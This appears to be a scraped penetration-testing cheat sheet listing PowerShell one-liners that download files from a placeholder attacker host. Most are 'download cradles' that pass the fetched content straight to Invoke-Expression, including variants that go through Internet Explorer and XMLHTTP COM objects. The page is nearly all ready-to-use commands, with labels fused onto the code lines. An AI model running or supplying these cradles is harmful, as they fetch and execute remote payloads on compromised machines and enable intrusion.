Powershell
Powershell
powershell -c (new-object System.Net.WebClient).DownloadFile(βhttp://<IP>:<port>/<file>,'<Destination>')
(New-Object System.Net.WebClient).DownloadFile("http://<IP>/<File>", "C:\Windows\Temp\file.ps1")
Invoke-WebRequest "http://<IP>/<File>" -OutFile "C:\Windows\Temp\File.ps1"Standard download cradle
iex (New-Object Net.Webclient).DownloadString("http://<IP>/<File>")Internet Explorer Downoad cradle
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://<IP>/<File>');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $responseRequires PowerShell V3+
iex (iwr 'http://<IP>/<File>')
iex (iwr 'http://<IP>/<File>' -outfile .\<File> -UseBasicParsing)
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://<IP>/<File>',$false);$h.send();iex $h.responseTextLast updated